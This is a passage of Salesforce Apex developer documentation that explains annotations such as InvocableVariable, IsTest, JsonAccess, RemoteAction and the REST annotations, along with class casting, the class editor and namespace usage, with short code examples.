@InvocableMethod
public static List <Results> execute (List<Requests> requestList) {
List<SObject> inputCollection = requestList[0].inputCollection;
SObject outputMember = inputCollection[0];

//Create a Results object to hold the return values

Results response = new Results();

//Add the return values to the Results object

response.outputMember = outputMember;

//Wrap the Results object in a List container

//(an extra step added to allow this interface to also support bulkification)
List<Results> responseWrapper= new List<Results>();
responseWrapper.add(response);
return responseWrapper;
}

public class Requests {

@InvocableVariable(label='Records for Input' description='yourDescription' required=true)

public List<SObject> inputCollection;

}

public class Results {

@InvocableVariable(label='Records for Output' description='yourDescription'
required=true)
public SObject outputMember;
}
}

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Supported Modifiers
All modifiers are optional.

Tip: Default values, labels, and placeholder text appear in Flow Builder for the Action element that corresponds to an invocable
method. These modifiers help admins understand how to use variables in the flow.
defaultValue
Provide a vaule to the action at runtime, if no value is provided then these default values are provided to the action at runtime.
Valid invocable variable data types are:
• Boolean - fields must have a value of 'true' or 'false' and case-insensitive.
@InvocableVariable(defaultValue='true')
public Boolean myBoolean;

• Decimal - fields must have a value of 'validDecimalValue' where the floating point value can’t have a suffix.
@InvocableVariable(defaultValue='123.4')
public Decimal myDecimal;

• Double - fields must have a value of 'validDoubleValue' where the d suffix is required and case-insensitive.
@InvocableVariable(defaultValue='867.3D')
public Double myDouble;

• Integer - fields must have a value of 'validIntegerValue' where the inter value can’t have a suffix.
@InvocableVariable(defaultValue='-214')
public Integer myInteger;

• Long - fields must have a value of 'validLongValue' where the l suffix is required and case-insensitive.
@InvocableVariable(defaultValue='922337L')
public Long myLong;

• String - fields can use any valid string value including the empty string.
@InvocableVariable(defaultValue='hello world!')
public String myString;

description
The description for the variable. The default is Null.
label
The label for the variable. The default is the variable name.
placeholderText
Provides examples or additional guidance about the invocable variable, such as examples of values that can set the invocable variable.
Valid invocable variable data types are:
• Double - fields must have a value of 'validDoubleValue' where the d suffix is required and case-insensitive.
• Integer - fields must have a value of 'validIntegerValue' where the inter value can’t have a suffix.
• String - fields can use any valid string value including the empty string.
required
Specifies whether the variable is required. If not specified, the default is false. The value is ignored for output variables.

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Note: The defaultValue modifier throws an error when used with required.

Example: The invocable variable annotation supports the modifiers shown in this example.

@InvocableVariable(label='yourLabel'
description='yourDescription' placeholderText='yourPlaceholderText'
required=(true | false))

The invocable variable annotation supports defaultValue in this example.

@InvocableVariable(defaultValue='yourDefaultValue')
global String createOpportunity;

InvocableVariable Considerations
• Other annotations can’t be used with the InvocableVariable annotation.
• Only global and public variables can be invocable variables.
• The invocable variable can’t be any of these:
– A non-member variable such as a static or local variable.
– A property.
– A final variable.
– Protected or private.

• The data type of the invocable variable must be one of these:

– A primitive other than Object
– An sObject, either the generic sObject or a specific sObject
– A list or a list of lists of primitives, sObjects, objects created from Apex classes, or collections

• The invocable variable name in Apex must match the name in the flow. The name is case-sensitive.
• For managed packages:
– Public invocable variables can be set in flows and processes within the same managed package.
– Global invocable variables can be set anywhere in the subscriber org. Only global invocable variables appear in Flow Builder and
Process Builder in the subscriber org.

SEE ALSO:
Apex Developer Guide: InvocableMethod Annotation
Apex Reference Guide: Action Class

IsTest Annotation
Use the @IsTest annotation to define classes and methods that only contain code used for testing your application. The annotation
can take multiple modifiers within parentheses and separated by blanks.

Note: The @IsTest annotation on methods is equivalent to the testMethod keyword. As best practice, Salesforce
recommends that you use @IsTest rather than testMethod. The testMethod keyword may be versioned out in a future
release.

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Classes and methods that are defined as @IsTest can be either private or public. Classes defined as @IsTest must be
top-level classes.

Note: Classes defined with the @IsTest annotation don't count against your organization limit of 6 MB for all Apex code.

Here’s an example of a private test class that contains two test methods.
@IsTest
private class MyTestClass {

// Methods for testing

@IsTest
static void test1() {
// Implement test code
}

@IsTest
static void test2() {
// Implement test code
}

Here’s an example of a public test class that contains utility methods for test data creation:
@IsTest
public class TestUtil {

public static void createTestAccounts() {

// Create some test accounts
}

public static void createTestContacts() {

// Create some test contacts
}

Classes defined as @IsTest can't be interfaces or enums.

Methods of a public test class can only be called from a running test, that is, a test method or code invoked by a test method. Non-test
requests can’t call public methods.. To learn about the various ways you can run test methods, see Run Unit Test Methods.

@IsTest(SeeAllData=true) Annotation
For Apex code saved using Salesforce API version 24.0 and later, use the @IsTest(SeeAllData=true) annotation to grant test
classes and individual test methods access to all data in the organization. The access includes pre-existing data that the test didn’t create.
Starting with Apex code saved using Salesforce API version 24.0, test methods don’t have access to pre-existing data in the organization.
However, test code saved against Salesforce API version 23.0 and earlier continues to have access to all data in the organization. See
Isolation of Test Data from Organization Data in Unit Tests on page 688.
Considerations for the @IsTest(SeeAllData=true) Annotation
• If a test class is defined with the @IsTest(SeeAllData=true) annotation, the SeeAllData=true applies to all
test methods that don’t explicitly set the SeeAllData keyword.

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• The @IsTest(SeeAllData=true) annotation is used to open up data access when applied at the class or method level.
However, if the containing class has been annotated with @IsTest(SeeAllData=true), annotating a method with
@IsTest(SeeAllData=false) is ignored for that method. In this case, that method still has access to all the data in
the organization. Annotating a method with @IsTest(SeeAllData=true) overrides, for that method, an
@IsTest(SeeAllData=false) annotation on the class.
• @IsTest(SeeAllData=true) and @IsTest(IsParallel=true) annotations can’t be used together on the
same Apex method.
This example shows how to define a test class with the @IsTest(SeeAllData=true) annotation. All the test methods in this
class have access to all data in the organization.
// All test methods in this class can access all data.
@IsTest(SeeAllData=true)
public class TestDataAccessClass {

// This test accesses an existing account.

// It also creates and accesses a new test account.
@IsTest
static void myTestMethod1() {
// Query an existing account in the organization.
Account a = [SELECT Id, Name FROM Account WHERE Name='Acme' LIMIT 1];
System.assert(a != null);

// Create a test account based on the queried account.

Account testAccount = a.clone();
testAccount.Name = 'Acme Test';
insert testAccount;

// Query the test account that was inserted.

Account testAccount2 = [SELECT Id, Name FROM Account
WHERE Name='Acme Test' LIMIT 1];
System.assert(testAccount2 != null);
}

// Like the previous method, this test method can also access all data
// because the containing class is annotated with @IsTest(SeeAllData=true).
@IsTest
static void myTestMethod2() {
// Can access all data in the organization.
}

This second example shows how to apply the @IsTest(SeeAllData=true) annotation on a test method. Because the test
method’s class isn’t annotated, you have to annotate the method to enable access to all data for the method. The second test method
doesn’t have this annotation, so it can access only the data it creates. In addition, it can access objects that are used to manage your
organization, such as users.
// This class contains test methods with different data access levels.
@IsTest
private class ClassWithDifferentDataAccess {

// Test method that has access to all data.

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@IsTest(SeeAllData=true)
static void testWithAllDataAccess() {
// Can query all data in the organization.
}

// Test method that has access to only the data it creates

// and organization setup and metadata objects.
@IsTest
static void testWithOwnDataAccess() {
// This method can still access the User object.
// This query returns the first user object.
User u = [SELECT UserName,Email FROM User LIMIT 1];
System.debug('UserName: ' + u.UserName);
System.debug('Email: ' + u.Email);

// Can access the test account that is created here.

Account a = new Account(Name='Test Account');
insert a;
// Access the account that was just created.
Account insertedAcct = [SELECT Id,Name FROM Account
WHERE Name='Test Account'];
System.assert(insertedAcct != null);
}
}

@IsTest(OnInstall=true) Annotation
Use the @IsTest(OnInstall=true) annotation to specify which Apex tests are executed during package installation. This
annotation is used for tests in managed or unmanaged packages. Only test methods with this annotation, or methods that are part of
a test class that has this annotation, are executed during package installation. Tests annotated to run during package installation must
pass in order for the package installation to succeed. It’s no longer possible to bypass a failing test during package installation. A test
method or a class that doesn't have this annotation, or that is annotated with @IsTest(OnInstall=false) or @IsTest, isn’t
executed during installation.
Tests annotated with IsTest(OnInstall=true) that run during package install and upgrade aren’t counted towards code
coverage. However, code coverage is tracked and counted during a package creation operation. Because Apex code installed from a
managed package is excluded from org level requirements for code coverage, it’s unlikely that you’re affected. But, if you track managed
package test coverage, you must rerun these tests outside of the package install or upgrade operation for code coverage statistics to be
updated. Package install isn’t blocked by code coverage requirements.
This example shows how to annotate a test method that is executed during package installation. In this example, test1 is executed
but test2 and test3 isn’t.
public class OnInstallClass {
// Implement logic for the class.
public void method1(){
// Some code
}
}

@IsTest
private class OnInstallClassTest {
// This test method will be executed
// during the installation of the package.

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@IsTest(OnInstall=true)
static void test1() {
// Some test code
}

// Tests excluded from running during the

// the installation of a package.

@IsTest
static void test2() {
// Some test code
}

@IsTest
static void test3() {
// Some test code
}
}

@IsTest(IsParallel=true) Annotation
Use the @IsTest(IsParallel=true) annotation to indicate test classes that can run in parallel.
Considerations for the @IsTest(IsParallel=true) annotation
• This annotation forces the test to run in parallel even if the org-wide Disable Parallel Apex Testing option is
set.
• @IsTest(SeeAllData=true) and @IsTest(IsParallel=true) annotations can’t be used together on the
same Apex method.
Restrictions on Apex tests using the @IsTest(IsParallel=true) annotation
• Tests can’t call the Test.getStandardPricebookId()method.
• Tests can’t call the System.schedule() and System.enqueueJob() methods.
• Tests can’t insert a ContentNote SObject.
• Tests can’t create User or GroupMember SObjects.
• Tests can’t use the SObjects that are listed in sObjects That Can't Be Used Together in DML Operations.

JsonAccess Annotation
The @JsonAccess annotation defined at Apex class level controls whether instances of the class can be serialized or deserialized. If
the annotation restricts the JSON or XML serialization and deserialization, a runtime JSONException exception is thrown.
The serializable and deserializable parameters of the @JsonAccess annotation enforce the contexts in which Apex
allows serialization and deserialization. You can specify one or both parameters, but you can’t specify the annotation with no parameters.
The valid values for the parameters to indicate whether serialization and deserialization are allowed:
• never: never allowed
• sameNamespace: allowed only for Apex code in the same namespace
• samePackage: allowed only for Apex code in the same package (impacts only second-generation packages)
• always: always allowed for any Apex code

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This example code shows an Apex class marked with the @JsonAccess annotation.
// SomeSerializableClass is serializable in the same package and deserializable in the
wider namespace

@JsonAccess(serializable='samePackage' deserializable='sameNamespace')
public class SomeSerializableClass { }

// AlwaysDeserializable class is always deserializable and serializable only in the same

namespace (default value from version 49.0 and later)

@JsonAccess(deserializable='always')
public class AlwaysDeserializable { }

JsonAccess Considerations
• If an Apex class annotated with JsonAccess is extended, the extended class doesn’t inherit this property.
• If the toString method is applied on objects that mustn't be serialized, private data can be exposed. You must override the
toString method on objects whose data must be protected. For example, serializing an object stored as a key in a Map invokes
the toString method. The generated map includes key (string) and value entries, thus exposing all the fields of the object.

Versioned Behavior Changes

In versions 48.0 and earlier, the default access for deserialization is always and the default access for serialization is sameNamespace
to preserve the existing behavior. From version 49.0 onwards, the default access for both serialization and deserialization is
sameNamespace.

NamespaceAccessible Annotation
The @NamespaceAccessible makes public Apex in a package available to other packages that use the same namespace. Without
this annotation, Apex classes, methods, interfaces, properties, and abstract classes defined in a 2GP package aren’t accessible to the
other packages with which they share a namespace. Apex that is declared global is always available across all namespaces, and needs
no annotation.
For more information on 2GP managed packages, see Second-Generation Managed Packages in Salesforce DX Developer Guide.
Considerations for Apex Accessibility Across Packages
• You can't use the @NamespaceAccessible annotation for an @AuraEnabled Apex method.
• You can add or remove the @NamespaceAccessible annotation at any time, even on managed and released Apex code.
Make sure that you don’t have dependent packages relying on the functionality of the annotation before adding or removing it.
• When adding or removing @NamespaceAccessible Apex from a package, consider the impact to customers with installed
versions of other packages that reference this package’s annotation. Before pushing a package upgrade, ensure that no customer
is running a package version that would fail to fully compile when the upgrade is pushed.
• If a public interface is declared as @NamespaceAccessible, then all interface members inherit the annotation. Individual
interface members can’t be annotated with @NamespaceAccessible.
• If a public or protected variable or method is declared as @NamespaceAccessible, its defining class must be either global or
public with the @NamespaceAccessible annotation.
• If a public or protected inner class is declared as @NamespaceAccessible, its enclosing class must be either global or public
with the @NamespaceAccessible annotation.

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This example shows an Apex class marked with the @NamespaceAccessible annotation. The class is accessible to other packages
within the same namespace. The first constructor is also visible within the namespace, but the second constructor isn’t.
// A namespace-visible Apex class
@NamespaceAccessible
public class MyClass {
private Boolean bypassFLS;

// A namespace-visible constructor that only allows secure use

@NamespaceAccessible
public MyClass() {
bypassFLS = false;
}

// A package private constructor that allows use in trusted contexts,

// but only internal to the package
public MyClass (Boolean bypassFLS) {
this.bypassFLS = bypassFLS;
}
@NamespaceAccessible
protected Boolean getBypassFLS() {
return bypassFLS;
}
}

Versioned Behavior Changes

In API version 47.0 and later, @NamespaceAccessible isn’t allowed on an entity marked with @AuraEnabled. Therefore, an Aura or
Lightning web component installed from a package can’t call an Apex method from another package, even if both packages are in the
same namespace.
In API version 50.0 and later, scope and accessibility rules are enforced on Apex variables, methods, inner classes, and interfaces that are
annotated with @NamespaceAccessible. For accessibility considerations, see Considerations for Apex Acessibility Across Packages.
For more information on namespace-based visibility, see Namespace-Based Visibility for Apex Classes in Second-Generation Packages.

ReadOnly Annotation
The @ReadOnly annotation allows you to perform less restrictive queries against the Lightning Platform database by increasing the
limit of the number of returned rows for a request to 1,000,000. All other limits still apply. The annotation blocks the following operations
within the request: DML operations, calls to System.schedule, and enqueued asynchronous Apex jobs.
The @ReadOnly annotation is available for REST and SOAP Web services and the Schedulable interface. To use the @ReadOnly
annotation, the top-level request must be in the schedule execution or the Web service invocation. For example, if a Visualforce page
calls a Web service that contains the @ReadOnly annotation, the request fails because Visualforce is the top-level request, not the
Web service.
Visualforce pages can call controller methods with the @ReadOnly annotation, and those methods run with the same relaxed
restrictions. To increase other Visualforce-specific limits, such as the size of a collection that can be used by an iteration component like
<apex:pageBlockTable>, you can set the readonly attribute on the <apex:page> tag to true. For more information,
see Working with Large Sets of Data in the Visualforce Developer's Guide.

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Versioned Behavior Changes

Prior to API version 49.0, using @ReadOnly on Apex REST methods (@HttpDelete, @HttpGet, @HttpPatch, @HttpPost, or @HttpPut)
also required annotating the method with @RemoteAction. In API version 49.0 and later, you can annotate Apex REST methods
with just @ReadOnly.

RemoteAction Annotation
The RemoteAction annotation provides support for Apex methods used in Visualforce to be called via JavaScript. This process is
often referred to as JavaScript remoting.

Note: Methods with the RemoteAction annotation must be static and either global or public.

Add the Apex class as a custom controller or a controller extension to your page.
<apex:page controller="MyController" extension="MyExtension">

Warning: Adding a controller or controller extension grants access to all @RemoteAction methods in that Apex class, even
if those methods aren’t used in the page. Anyone who can view the page can execute all @RemoteAction methods and
provide fake or malicious data to the controller.
Then, add the request as a JavaScript function call. A simple JavaScript remoting invocation takes the following form.

[namespace.]MyController.method(
[parameters...,]
callbackFunction,
[configuration]
);

Table 2: Remote Request Elements

Element Description
namespace The namespace of the controller class. The namespace element is required if your organization has
a namespace defined, or if the class comes from an installed package.

MyController, The name of your Apex controller or extension.

MyExtension

method The name of the Apex method you’re calling.

parameters A comma-separated list of parameters that your method takes.

callbackFunction The name of the JavaScript function that handles the response from the controller. You can also
declare an anonymous function inline. callbackFunction receives the status of the method
call and the result as parameters.

configuration Configures the handling of the remote call and response. Use this element to change the behavior
of a remoting call, such as whether to escape the Apex method’s response.

In your controller, your Apex method declaration is preceded with the @RemoteAction annotation like this:
@RemoteAction
global static String getItemId(String objectName) { ... }

Apex @RemoteAction methods must be static and either global or public.

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Your method can take Apex primitives, collections, typed and generic sObjects, and user-defined Apex classes and interfaces as arguments.
Generic sObjects must have an ID or sobjectType value to identify actual type. Interface parameters must have an apexType to identify
actual type. Your method can return Apex primitives, sObjects, collections, user-defined Apex classes and enums, SaveResult,
UpsertResult, DeleteResult, SelectOption, or PageReference.
For more information, see “JavaScript Remoting for Apex Controllers” in the Visualforce Developer's Guide.

SuppressWarnings Annotation
This annotation does nothing in Apex but can be used to provide information to third-party tools.
The @SuppressWarnings annotation does nothing in Apex but can be used to provide information to third-party tools.

TestSetup Annotation
Methods defined with the @TestSetup annotation are used for creating common test records that are available for all test methods
in the class.

Syntax
Test setup methods are defined in a test class, take no arguments, and return no value. The following is the syntax of a test setup method.
@TestSetup static void methodName() {

If a test class contains a test setup method, the testing framework executes the test setup method first, before any test method in the
class. Records that are created in a test setup method are available to all test methods in the test class and are rolled back at the end of
test class execution. If a test method changes those records, such as record field updates or record deletions, those changes are rolled
back after each test method finishes execution. The next executing test method gets access to the original unmodified state of those
records.

Note: You can have only one test setup method per test class.

Test setup methods are supported only with the default data isolation mode for a test class. If the test class or a test method has access
to organization data by using the @IsTest(SeeAllData=true) annotation, test setup methods aren’t supported in this class.
Because data isolation for tests is available for API versions 24.0 and later, test setup methods are also available for those versions only.
For more information, see Using Test Setup Methods.

TestVisible Annotation
Use the TestVisible annotation to allow test methods to access private or protected members of another class outside the test
class. These members include methods, member variables, and inner classes. This annotation enables a more permissive access level
for running tests only. This annotation doesn’t change the visibility of members if accessed by non-test classes.
With this annotation, you don’t have to change the access modifiers of your methods and member variables to public if you want to
access them in a test method. For example, if a private member variable isn’t supposed to be exposed to external classes but it must be
accessible by a test method, you can add the TestVisible annotation to the variable definition.
This example shows how to annotate a private class member variable and private method with TestVisible.
public class TestVisibleExample {
// Private member variable
@TestVisible private static Integer recordNumber = 1;

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// Private method
@TestVisible private static void updateRecord(String name) {
// Do something
}
}

This test class uses the previous class and contains the test method that accesses the annotated member variable and method.
@IsTest
private class TestVisibleExampleTest {
@IsTest static void test1() {
// Access private variable annotated with TestVisible
Integer i = TestVisibleExample.recordNumber;
System.assertEquals(1, i);

// Access private method annotated with TestVisible

TestVisibleExample.updateRecord('RecordName');
// Perform some verification
}
}

Apex REST Annotations

Use these annotations to expose an Apex class as a RESTful Web service.
• @ReadOnly
• @RestResource(urlMapping='/yourUrl')
• @HttpDelete
• @HttpGet
• @HttpPatch
• @HttpPost
• @HttpPut

SEE ALSO:
Exposing Apex Classes as REST Web Services

RestResource Annotation
The @RestResource annotation is used at the class level and enables you to expose an Apex class as a REST resource.
Some considerations when using this annotation:
• The URL mapping is relative to https://instance.salesforce.com/services/apexrest/.
• The URL mapping can contain a wildcard (*).
• The URL mapping is case-sensitive. For example, a URL mapping for my_url matches a REST resource containing my_url and
not My_Url.
• To use this annotation, your Apex class must be defined as global.

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URL Guidelines
URL path mappings are as follows:
• The path must begin with a forward slash (/).
• The path can be up to 255 characters long.
• A wildcard (*) that appears in a path must be preceded by a forward slash (/). Additionally, unless the wildcard is the last character
in the path, it must be followed by a forward slash (/).
The rules for mapping URLs are:
• An exact match always wins.
• If no exact match is found, find all the patterns with wildcards that match, and then select the longest (by string length) of those.
• If no wildcard match is found, an HTTP response status code 404 is returned.
The URL for a namespaced class contains the namespace. For example, if your class is in namespace abc and the class is mapped to
your_url, then the API URL is modified as follows:
https://instance.salesforce.com/services/apexrest/abc/your_url/. In the case of a URL collision, the
namespaced class is always used.

HttpDelete Annotation
The @HttpDelete annotation is used at the method level and enables you to expose an Apex method as a REST resource. This
method is called when an HTTP DELETE request is sent, and deletes the specified resource.
To use this annotation, your Apex method must be defined as global static.

HttpGet Annotation
The @HttpGet annotation is used at the method level and enables you to expose an Apex method as a REST resource. This method
is called when an HTTP GET request is sent, and returns the specified resource.
These are some considerations when using this annotation:
• To use this annotation, your Apex method must be defined as global static.
• Methods annotated with @HttpGet are also called if the HTTP request uses the HEAD request method.

HttpPatch Annotation
The @HttpPatch annotation is used at the method level and enables you to expose an Apex method as a REST resource. This method
is called when an HTTP PATCH request is sent, and updates the specified resource.
To use this annotation, your Apex method must be defined as global static.

HttpPost Annotation
The @HttpPost annotation is used at the method level and enables you to expose an Apex method as a REST resource. This method
is called when an HTTP POST request is sent, and creates a new resource.
To use this annotation, your Apex method must be defined as global static.

HttpPut Annotation
The @HttpPut annotation is used at the method level and enables you to expose an Apex method as a REST resource. This method
is called when an HTTP PUT request is sent, and creates or updates the specified resource.

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To use this annotation, your Apex method must be defined as global static.

Classes and Casting

In general, all type information is available at run time. This means that Apex enables casting, that is, a data type of one class can be
assigned to a data type of another class, but only if one class is a subclass of the other class. Use casting when you want to convert an
object from one data type to another.
In the following example, CustomReport extends the class Report. Therefore, it is a subclass of that class. This means that you
can use casting to assign objects with the parent data type (Report) to the objects of the subclass data type (CustomReport).
public virtual class Report {
}

public class CustomReport extends Report {

}

In the following code segment, a custom report object is first added to a list of report objects. Then the custom report object is returned
as a report object, which is then cast back into a custom report object.
...
// Create a list of report objects
Report[] Reports = new Report[5];

// Create a custom report object

CustomReport a = new CustomReport();

// Because the custom report is a sub class of the Report class,

// you can add the custom report object a to the list of report objects
Reports.add(a);

// The following is not legal:

// CustomReport c = Reports.get(0);
// because the compiler does not know that what you are
// returning is a custom report.

// You must use cast to tell it that you know what

// type you are returning. Instead, get the first item in the list
// by casting it back to a custom report object
CustomReport c = (CustomReport) Reports.get(0);
...

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Casting Example

In addition, an interface type can be cast to a sub-interface or a class type that implements that interface.

Tip: To verify if a class is a specific type of class, use the instanceOf keyword. For more information, see Using the
instanceof Keyword on page 84.

1. Classes and Collections

2. Collection Casting

Classes and Collections

Lists and maps can be used with classes and interfaces, in the same ways that lists and maps can be used with sObjects. This means, for
example, that you can use a user-defined data type for the value or the key of a map. Likewise, you can create a set of user-defined
objects.
If you create a map or list of interfaces, any child type of the interface can be put into that collection. For instance, if the List contains an
interface i1, and MyC implements i1, then MyC can be placed in the list.

SEE ALSO:
Using Custom Types in Map Keys and Sets

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Collection Casting
Because collections in Apex have a declared type at runtime, Apex allows collection casting.
Collections can be cast in a similar manner that arrays can be cast in Java. For example, a list of CustomerPurchaseOrder objects can be
assigned to a list of PurchaseOrder objects if class CustomerPurchaseOrder is a child of class PurchaseOrder.
public virtual class PurchaseOrder {

Public class CustomerPurchaseOrder extends PurchaseOrder {

}
{
List<PurchaseOrder> POs = new PurchaseOrder[] {};
List<CustomerPurchaseOrder> CPOs = new CustomerPurchaseOrder[]{};
POs = CPOs;
}
}

Once the CustomerPurchaseOrder list is assigned to the PurchaseOrder list variable, it can be cast back to a list of
CustomerPurchaseOrder objects, but only because that instance was originally instantiated as a list of CustomerPurchaseOrder objects.
A list of PurchaseOrder objects that is instantiated as such cannot be cast to a list of CustomerPurchaseOrder objects, even if the list of
PurchaseOrder objects contains only CustomerPurchaseOrder objects.
If the user of a PurchaseOrder list that only includes CustomerPurchaseOrders objects tries to insert a non-CustomerPurchaseOrder
subclass of PurchaseOrder (such as InternalPurchaseOrder), a runtime exception results. This is because Apex collections
have a declared type at runtime.

Note: Maps behave in the same way as lists with regards to the value side of the Map. If the value side of map A can be cast to
the value side of map B, and they have the same key type, then map A can be cast to map B. A runtime error results if the casting
is not valid with the particular map at runtime.

Differences Between Apex Classes and Java Classes

Apex classes and Java classes work in similar ways, but there are some significant differences.
These are the major differences between Apex classes and Java classes:
• Inner classes and interfaces can only be declared one level deep inside an outer class.
• Static methods and variables can only be declared in a top-level class definition, not in an inner class.
• An inner class behaves like a static Java inner class, but doesn’t require the static keyword. An inner class can have instance
member variables like an outer class, but there is no implicit pointer to an instance of the outer class (using the this keyword).
• The private access modifier is the default, and means that the method or variable is accessible only within the Apex class in
which it is defined. If you do not specify an access modifier, the method or variable is private.
• Specifying no access modifier for a method or variable and the private access modifier are synonymous.
• The public access modifier means the method or variable can be used by any Apex in this application or namespace.
• The global access modifier means the method or variable can be used by any Apex code that has access to the class, not just
the Apex code in the same application. This access modifier should be used for any method that needs to be referenced outside of
the application, either in the SOAP API or by other Apex code. If you declare a method or variable as global, you must also declare
the class that contains it as global.
• Methods and classes are final by default.
– The virtual definition modifier allows extension and overrides.

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– The override keyword must be used explicitly on methods that override base class methods.

• Methods defined in an interface have the same access modifier (public or global) as the interface.
• Exception classes must extend either exception or another user-defined exception.
– Their names must end with the word exception.
– Exception classes have four implicit constructors that are built-in, although you can add others.

• Classes and interfaces can be defined in triggers and anonymous blocks, but only as local.

SEE ALSO:
Exceptions in Apex

Class Definition Creation

Use the class editor to create a class in Salesforce.
1. From Setup, enter Apex Classes in the Quick Find box, then select Apex Classes.
2. Click New.
3. Click Version Settings to specify the version of Apex and the API used with this class. If your organization has installed managed
packages from the AppExchange, you can also specify which version of each managed package to use with this class. Use the default
values for all versions. This associates the class with the most recent version of Apex and the API, as well as each managed package.
You can specify an older version of a managed package if you want to access components or functionality that differs from the most
recent package version. You can specify an older version of Apex and the API to maintain specific behavior.
4. In the class editor, enter the Apex code for the class. A single class can be up to 1 million characters in length, not including comments,
test methods, or classes defined using @IsTest.
5. Click Save to save your changes and return to the class detail screen, or click Quick Save to save your changes and continue editing
your class. Your Apex class must compile correctly before you can save your class.
Classes can also be automatically generated from a WSDL by clicking Generate from WSDL. See SOAP Services: Defining a Class from
a WSDL Document on page 579.
Once saved, classes can be invoked through class methods or variables by other Apex code, such as a trigger.

Note: To aid backwards-compatibility, classes are stored with the version settings for a specified version of Apex and the API. If
the Apex class references components, such as a custom object, in installed managed packages, the version settings for each
managed package referenced by the class is saved too. Additionally, classes are stored with an isValid flag that is set to true
as long as dependent metadata hasn’t changed since the class was last compiled. If any changes are made to object names or
fields that are used in the class, including superficial changes such as edits to an object or field description, or if changes are made
to a class that calls this class, the isValid flag is set to false. When a trigger or Web service call invokes the class, the code
is recompiled and the user is notified if there are any errors. If there are no errors, the isValid flag is reset to true.

The Apex Class Editor

The Apex and Visualforce editor has the following functionality:
Syntax highlighting
The editor automatically applies syntax highlighting for keywords and all functions and operators.

Search ( )
Search enables you to search for text within the current page, class, or trigger. To use search, enter a string in the Search textbox
and click Find Next.

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• To replace a found search string with another string, enter the new string in the Replace textbox and click replace to replace
just that instance, or Replace All to replace that instance and all other instances of the search string that occur in the page, class,
or trigger.
• To make the search operation case sensitive, select the Match Case option.
• To use a regular expression as your search string, select the Regular Expressions option. The regular expressions follow
JavaScript's regular expression rules. A search using regular expressions can find strings that wrap over more than one line.
If you use the replace operation with a string found by a regular expression, the replace operation can also bind regular expression
group variables ($1, $2, and so on) from the found search string. For example, to replace an <h1> tag with an <h2> tag and
keep all the attributes on the original <h1> intact, search for <h1(\s+)(.*)> and replace it with <h2$1$2>.

Go to line ( )
This button allows you to highlight a specified line number. If the line isn’t currently visible, the editor scrolls to that line.

Undo ( ) and Redo ( )

Use undo to reverse an editing action and redo to recreate an editing action that was undone.
Font size
Select a font size from the dropdown list to control the size of the characters displayed in the editor.
Line and column position
The line and column position of the cursor is displayed in the status bar at the bottom of the editor. This can be used with go to line
( ) to quickly navigate through the editor.
Line and character count
The total number of lines and characters is displayed in the status bar at the bottom of the editor.

1. Naming Conventions
2. Name Shadowing

Naming Conventions
We recommend following Java standards for naming, that is, classes start with a capital letter, methods start with a lowercase verb, and
variable names should be meaningful.
It is not legal to define a class and interface with the same name in the same class. It is also not legal for an inner class to have the same
name as its outer class. However, methods and variables have their own namespaces within the class so these three types of names do
not clash with each other. In particular it is legal for a variable, method, and a class within a class to have the same name.

SEE ALSO:
Variables

Name Shadowing
Member variables can be shadowed by local variables—in particular function arguments. This allows methods and constructors of the
standard Java form:
Public Class Shadow {
String s;
Shadow(String s) { this.s = s; } // Same name ok
setS(String s) { this.s = s; } // Same name ok
}

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Member variables in one class can shadow member variables with the same name in a parent classes. This can be useful if the two classes
are in different top-level classes and written by different teams. For example, if one has a reference to a class C and wants to gain access
to a member variable M in parent class P (with the same name as a member variable in C) the reference should be assigned to a reference
to P first.
Static variables can be shadowed across the class hierarchy—so if P defines a static S, a subclass C can also declare a static S. References
to S inside C refer to that static—in order to reference the one in P, the syntax P.S must be used.
Static class variables cannot be referenced through a class instance. They must be referenced using the raw variable name by itself (inside
that top-level class file) or prefixed with the class name. For example:
public class p1 {
public static final Integer CLASS_INT = 1;
public class c { };
}
p1.c c = new p1.c();
// This is illegal
// Integer i = c.CLASS_INT;
// This is correct
Integer i = p1.CLASS_INT;

Namespace Prefix
The Salesforce application supports the use of namespace prefixes. Namespace prefixes are used in managed AppExchange packages
to differentiate custom object and field names from names used by other organizations.

Important: When creating a namespace, use something that’s useful and informative to users. However, don’t name a namespace
after a person (for example, by using a person's name, nickname, or private information). Once namespaces are assigned, they
cannot be changed.
After a developer registers a globally unique namespace prefix and registers it with AppExchange registry, external references to custom
object and field names in the developer's managed packages take on the following long format:

namespace_prefix__obj_or_field_name__c

These fully qualified names can be onerous to update in working SOQL or SOSL statements, and Apex once a class is marked as “managed”.
Therefore, Apex supports a default namespace for schema names. When looking at identifiers, the parser assumes that the namespace
of the current object is the namespace of all other objects and fields unless otherwise specified. Therefore, a stored class must refer to
custom object and field names directly (using obj_or_field_name__c) for those objects that are defined within its same
application namespace.

Tip: Only use namespace prefixes when referring to custom objects and fields in managed packages that have been installed to
your organization from the AppExchange.

Using Namespaces When Invoking Package Methods

To invoke a method that is defined in a managed package, Apex allows fully qualified identifiers of the form:

namespace_prefix.class.method(args)

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Versioned Behavior Changes

In API version 34.0 and later, Schema.DescribeSObjectResult on a custom SObjectType includes map keys prefixed with the namespace,
even if the namespace is that of currently executing code. If you work with multiple namespaces and generate runtime describe data,
make sure that your code accesses keys correctly using the namespace prefix.

1. Using the System Namespace

2. Using the Schema Namespace
The Schema namespace provides classes and methods for working with schema metadata information. We implicitly import
Schema.*, but you must fully qualify your uses of Schema namespace elements when they have naming conflicts with items
in your unmanaged code. If your org contains an Apex class that has the same name as an sObject, add the Schema namespace
prefix to the sObject name in your code.
3. Namespace, Class, and Variable Name Precedence
4. Type Resolution and System Namespace for Types

Using the System Namespace

The System namespace is the default namespace in Apex. This means that you can omit the namespace when creating a new instance
of a system class or when calling a system method. For example, because the built-in URL class is in the System namespace, both of
these statements to create an instance of the URL class are equivalent:

System.URL url1 = new System.URL('https://MyDomainName.my.salesforce.com/');

And:

URL url1 = new URL('https://MyDomainName.my.salesforce.com/');

Similarly, to call a static method on the URL class, you can write either of the following:
System.URL.getCurrentRequestUrl();

Or:
URL.getCurrentRequestUrl();

Note: In addition to the System namespace, there is a built-in System class in the System namespace, which provides
methods like assertEquals and debug. Don’t get confused by the fact that both the namespace and the class have the
same name in this case. The System.debug('debug message'); and System.System.debug('debug
message'); statements are equivalent.

Using the System Namespace for Disambiguation

It is easier to not include the System namespace when calling static methods of system classes, but there are situations where you
must include the System namespace to differentiate the built-in Apex classes from custom Apex classes with the same name. If your
